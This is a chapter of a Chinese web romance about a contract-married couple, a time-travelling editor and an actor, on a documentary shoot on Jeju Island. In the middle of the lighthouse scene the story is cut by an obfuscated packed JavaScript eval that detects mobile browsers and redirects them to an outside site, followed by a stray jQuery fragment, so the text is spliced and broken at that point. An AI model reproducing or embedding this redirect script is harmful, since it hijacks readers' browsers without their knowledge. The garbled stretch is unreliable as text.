去济州岛的拍摄计划，是在一次内容组的例行策划会上突然定下的。
KCpany联合韩国文化艺术振兴院，发起一个名为《边界上的艺术生活》的纪录短片项目。
第一站选在济州岛南部一片由旧渔村改建而成的驻地艺术区。
项目目标是以“城市与海岛边缘的创作者群体”为核心，用纪录视角呈现艺术创作与地景生活之间的微妙关系。
拍摄人选原定是内容组配合导演小组派两人前往取材，出镜部分由驻地艺术家本人完成。
可就在议题临近收尾时，郑禹胜忽然出声：
“我去。”
会议一瞬间安静下来。
内容组主管笑着试探：“可是您的通告不是……”
“济州岛那边有个早期拍摄场地，我刚好可以顺路看看。”他转了转笔，语气淡淡，“顺便做调研。”
“那……需要搭配一个团队同事？”
“谢安琪吧。”他说得平稳，甚至没抬头看她。
谢安琪坐在长桌另一端，手指微微一滞。
她没料到会被点名。
会议室里几人交换眼神，有人小声咕哝：“她不是实习吗……”
主管拍板：“也好，安琪最近在负责空间采样文案，现场也需要文字统筹。”
她点头应下，没有辩解，也没有感谢。
只是笔记本上那行刚写好的句子，笔迹忽然收紧。
她知道，这不是“顺便”，也不是巧合。
但她不会问，没有必要，而且她知道，他们都不会问。
出发那天早上，机场一号登机口前。
谢安琪提前到了，穿着灰蓝风衣，头发简单束起，身旁只放了一个不大不小的黑色登机箱。
她翻着平板，在复核拍摄设备登记表。
郑禹胜是登机前十五分钟才出现的。
他穿着深灰夹克，牛仔裤，肩上斜背着一只单肩摄影包，拖着随身行李，头发微乱，眼下有轻微的青影。
“昨天拍摄电影出了点状况，通告延后。”他走到她面前，说得像是一句不带情绪的播报，就好像前几天的缠绵都是虚假的幻想。
谢安琪对于他的变化，心里有些异样，但表面也只是点了点头表示了解：“资料我提前传给你了。”
他“嗯”了一声，把行李推进托运口，接过她手里的登机单，“走吧。”
他们并排而行，却不说话。
不像夫妻，像公事公办的拍档。
这是他们婚后第一次出远门。也是第一次，在无人知情的场合，长时间共同出现。
但没有人知道他们的身份。
对KCpany来说，他们“老板与实习统筹”；对这趟旅程来说，他们是“偶然组合的工作搭档”；而对他们自己而言，他们是—— 一纸三年合约下的“沉默同居者”。
虽然时而变得缠绵，但经常性冷漠，就好像只有夜色和酒才能唤醒沉睡的爱意一般。
……
飞机起飞后，谢安琪很快进入了工作状态。
她戴上耳机，一边翻文件一边标记路线，在平板上画出拍摄重点区域：西归浦旧渔场、石头爷爷雕像走廊、无人码头和那座被改造成艺术工坊的老灯塔。
她写得专注，时不时抬头望向窗外云层。
郑禹胜则坐在她旁边，一直闭着眼睛。
直到她侧身拿水时，不小心碰到他手背，他才轻轻动了动。
“我没睡着。”他低声说，“你在标灯塔？”
“嗯。”
“我记得那里早上光线很斜，适合拍定格。”他说完，又闭上眼睛，“以前拍电影就是在那边。”
谢安琪抿唇点头，没说话。
他的声音像从很远的地方传来，又像贴得极近。
她不敢问他为什么记得这么清楚。
也不敢问，他是不是也记得——十几年前初夏的旧港口，她站在海边，见到还是少年的他，那时的郑禹胜为她弹奏音乐，想起她说要学剪辑，他说：“以后我拍广告，你来剪吗？”
那是她从过去带回来的记忆。
但现在，她不确定，他是否也背着同样一段。
所以她不问，他更不会说。
到达济州岛已是下午三点。
制作团队安排他们入住艺术区边上的民宿旅馆，建筑是由旧盐仓改造的两层木屋。
前台误会他们是情侣档创作者，笑着给他们一间双人房。
“预约上写的是一间房哦，而且是你们自己填的。”前台小姐姐翻着表单，语气和善，“如果要换的话，可能需要明天才有空房。”
郑禹胜没说话，只轻轻扫了谢安琪一眼：“行，就这样吧。”
谢安琪点头。
房间在二楼，推门进去是一张双人床、一张旧藤椅、和一排落地窗，窗外就是碎石海岸和一排排低矮的石墙。
她放下行李，低头看了眼床，又看了眼墙角的木制长沙发。
“我睡那边。”她轻声说。
郑禹胜没反对，就像是忘记了前几日的拥抱。
他只是走过去，把自己的摄影包放到藤椅上，然后开始调试设备。
她看着他把相机一一拆封、组装、装脚架，动作安静又利落。
那一瞬间，她忽然想起在过去的某个清晨，少年他也是这么沉默地装设备。
阳光从窗帘缝里落在他肩膀上，他转身时问她：“你觉得我能拍出好片吗？”
那时她没答，只是轻轻点头。
现在，她也没说话。
她总是想要找办法跟他确认着如何回到过去，谢安琪也不知道自己是为什么这样，就好像没能回到过去见到年轻的他，是非常糟糕的事情。
但问他是不是还有着过去的记忆呢？她怕说出口，那些回忆就会反过来质问她——你是来找现在的他，还是来对照你记忆里的少年？
……
傍晚拍摄第一站，是渔村旧街上的“时间邮局”。
那是一处将老邮政所改造的艺术展示空间，门口挂着五颜六色的布旗，里面陈列的是旅人寄不出去的信、匿名日记、以及各国语言的录音剪辑。
谢安琪负责录音设备。
她把话筒架在门厅旧木架上，静静听那段播放着的胶片录音：
“……? ????, ??? ??? ??? ??? ??……”（我希望，我的声音，哪怕过了时间，也能抵达你。）
她怔了怔。
郑禹胜站在她身后，也没出声。
他们一同听完整段录音，谁也没有说话。
直到她收拾设备时，他忽然低声问她：“你听见这种话，会相信吗？”
谢安琪回头：“你是说，声音会穿越时间？”
“声音、情绪、记忆。”他顿了顿，“甚至一个人对另一个人的喜欢。”
她没回答，只垂眼继续收线。
因为她不知道怎么回应——
她是真的穿越过时间的那个人。
而他，是那个站在她时间尽头的人。
……
回到民宿时，天色已经沉下去。
厨房里弥漫着泡菜锅的辣香味，拍摄组几个人正围在饭桌边吃晚饭，偶尔有人举杯碰碗，笑声从厨房飘进客厅。
谢安琪把录音包放回二楼房间后，没有下楼。
她靠着阳台门坐了一会儿，望着外面被夜色吞没的海，风吹过来，像一层没说出口的情绪，擦着皮肤拂过去。
郑禹胜走进来时，她正靠在沙发上看设备电量，一只手托着下巴，像是在想什么，又像只是太安静了。
“你不饿？”他问。
她摇头：“不想下楼。”
他没再劝，走过去拉了窗帘。
“明天要去灯塔那边，早上有光影。”他说。
她轻轻点头：“知道了。”
他坐在床沿看她。
谢安琪像是忽然感觉到了，抬头。
“你是不是……”她话没说完。
郑禹胜静静望着她，眼神没有波澜：“什么？”
她低头避开他的视线，过了几秒，说：“没什么。”
他没追问，只是起身拿水杯。她在他背影落下的那一刻，几乎就要喊出那句：
——你记得吗？
——你有没有，在某些时候，也想起那个码头、那场旧琴声？
可她没问。
不是因为没勇气，而是她突然明白了，如果答案是“没有”，那她维持的、那个悄无声息的梦，那种充斥在身边绝对的情绪和快乐，都会在一瞬间坍塌。
她宁愿不知。
宁愿保持这场沉默的平衡。
……
夜里，她失眠了。
楼下拍摄组渐渐安静，厨房灯灭，风把窗帘吹得轻轻晃动，像是在房间里制造一种假象——有人走过来，又离开。
她坐在沙发上，抱着膝盖，脑袋埋在手臂里。
手机屏幕亮着，她在听一段录音，是少年郑禹胜曾在那年旧时空里为她哼唱的一段旋律。
录音中夹杂风声、脚步声，还有他低低的嗓音：“我不确定未来是什么，但你要是在那里等我，我就不怕了。”
她眼眶一热。
郑禹胜从浴室出来，看见的就是这个画面。
她坐在沙发上，缩成一团，肩膀微微抖着，像在忍住什么。
他没走过去。
只是静静站在门边，注视着她很久。
风又吹了一次窗帘。
他终于走过去，把一件自己的夹克披到她肩上。
“别听了。”他说。
她抬起头，眼睛有些红。
“我只是……剪辑素材。”她轻声说，他没拆穿，蹲下来看着她：“你很怕我知道你在哭。”
她吸了吸鼻子，没有回答。
郑禹胜低头，声音更轻：“你怕的不是我知道你哭，是我知道你为什么哭。”
谢安琪手指收紧。或者他知道了？还是，他也在梦里，来过一次她来过的时间，她想问：“你真的记得吗？”
但她没有问。而他，也没有再说下去。
……
次日上午，灯塔取景。
这是一个被废弃的航标塔，孤零零地立在海崖尽头。夏季时这里会作为展览空间开放，冬季则完全空置。
阳光从东面斜照过来，地面被玻璃碎片反射出点点光斑，像落在沙上的旧年时光。
谢安琪提着录音包，一步步踩进光线中。
郑禹胜跟在她身后，两人没说话，但节奏一致。
“这里以前真有人住吗？”她轻声问。
“小时候我来过。”他说。
她抬头。
他站在她身后不远的地方，眼神望着远方，没有聚焦。
“我和朋友一起来过，那时候还没封。”他说，“我在这儿拍过一次照片，后来带去做模特介绍的资料了。”
她心一跳。
照片。
她记得那段——在她“穿回去”的时候，就是那个画面：少年郑禹胜站在阳台边，镜头晃得厉害，他说：“镜头很小，但我想留下的东西很大。”
那是她在他过去见到的某个记忆深刻片段。
她没说话，只轻轻握紧了手里的录音笔。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490544|169893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
郑禹胜忽然转头看她。
“你是不是……”他顿住了。
谢安琪也看着他，心跳剧烈。
他张口，又慢慢闭上：“没事。”
她知道他快说出口了。
但他忍住了。
他怕说出来之后，她的眼睛就不再看现在的他。
……
午后小雨。
拍摄结束回到民宿，天已经灰下来。
她拿出记事本补录台词设计，写着写着，忽然发现自己在本子角落画了一只戴耳机的黑猫。
那是少年郑禹胜在笔记本上常画的——他曾说，“黑猫听音乐的时候不会叫，但它会记住旋律。”
她望着那张涂鸦怔了好一会儿。
外面下雨了，风吹得屋檐噼啪作响。
她合上本子，走到窗前，看见郑禹胜一个人坐在民宿门口的台阶上，撑着伞，烟在指尖燃得昏暗。
她迟疑了一下，还是拿了伞下楼。
走到他身边时，他没转头。
她递出伞：“借你这个，别淋感冒了。”
他抽完那口烟，淡淡道：“你这个关心的话，我好像听过。”
她心脏猛地一震。
他接过伞，手指贴到她掌心：“以前也有个人跟我这样说，不过她早就离开很久了。”
她失语。
他看她，目光沉得像落雨的深海。
“你不问我是谁？”他说，“还是你怕自己知道什么心里会难受？”
……
两人站在雨里，谁也没说话
伞落在他手中，雨水沿着伞骨滴落。
谢安琪终于开口：“你说对了。”
“我不问，是因为我觉得那都是过去的事情。谁都会有过去的事情，因为那样我会分不清，而现在三年内，你和我是在一起的。” 谢安琪继续道。
“可我怕你三年后离开。那样，我就真的一个人了。”郑禹胜说完这些，像是用了很大的力气。没等她的回答，郑禹胜喉结滚动，低声问：“那现在你知道了吗？”
谢安琪摇头，眼神清澈却又迟疑：“我不知道。”
“但我愿意试着喜欢你现在的样子。”
他低头亲了亲她手指。
很轻。
像是吻落在掌心的某段旧年时光，又像是——他终于对她现在的靠近，低头回应。
晚上，他们回到房间时，拍摄组的几位成员还在一楼酒吧区域聊天。
谢安琪换好衣服后窝在窗边看素材，郑禹胜坐在藤椅上翻拍摄表格，一人一角，光线柔和，像是心照不宣地维持某种沉默的亲密。
“你明天几点想走？”他忽然问。
“八点出发？”她抬头，“灯塔那边早上会有潮光。”
他点点头：“我订了返程船票，中午回。”
“你还有通告？”她问。
“有。”他顿了顿，“你愿意……晚点回吗？”
谢安琪微微一怔。
“我想多拍一点你。”他说，语气极轻，“不是当演员的我，是……和你在一起的我。”
她心里像被什么重重压了一下。
“你不是说，在外面我们不能太亲近。”她试探地道。
“明天他们都不在。”他轻声，“而且我知道我不想离你太远。”
她想笑，可鼻尖却发酸。
她没说好，也没说不好。
只是走过去，把平板递给他。
“你要拍，就拍这一段吧。”
屏幕上是那段他们在邮局门口听的录音，她悄悄剪了一个版本，把两人的背影拼在一起，配了一句字幕：“我没说出你是谁，但你总是走进我听得最清楚的那段。”
他看着那段画面，半晌没说话。然后他低头，像是确认什么一样，伸手扣住她的手腕，拉过她靠在自己的肩膀，就像是以前她愿意让他依靠一样。
次日，天还没亮，窗外潮湿的风带着咸意吹进来，她醒得早，想去楼下再采一组无人街巷的晨声。
郑禹胜坐在楼梯转角处，像是早就等着她。
“你也睡不着？”
她点头。
他走过去，替她拉好风衣领口，然后什么也没说，就低头吻了她。
不是那种猛烈的情欲之吻，而是像他真的等了太久，在她终于靠近他现实的这一刻，不再装作若无其事。
她回应了。
手扣住他后颈，眼睛轻轻闭上，像是放下某种防备。
那是他们婚后第一次真正亲吻，不是合约内容里的仪式性互动，也不是表演，也不是酒带来的冲动，像是清晨的突如其来的风雨后冒头的阳光，出奇地奇妙。
……
早上的灯塔拍摄出奇地顺利。
他们并排坐在崖边，拍最后一场素材。
镜头拍下去时，两人身影靠得极近，她拿着录音笔，他撑着膝盖望远，谁也没看谁，但谁都知道——那个画面，像是这段关系的注脚：无法言说，但始终同行。
手里拿着平板确认内容，谢安琪转过头连着问起来：“要删掉吗？”
“不要删。”郑禹胜说。
“你不怕别人看出来？”
他侧头看她，语气安静：“我不怕你被看见。”
她心跳慢了一拍。
这句话，他曾在她第一次回到过去时也说过。
只不过那时他说的是：“你怕被人看见吗？我不怕。”
她眼睛有些发涩：“你知道你说过这句话？”
“我说过吗？”他轻笑一声，“我忘了。”
但她知道他没忘。
他只是，终于愿意假装自己也记得。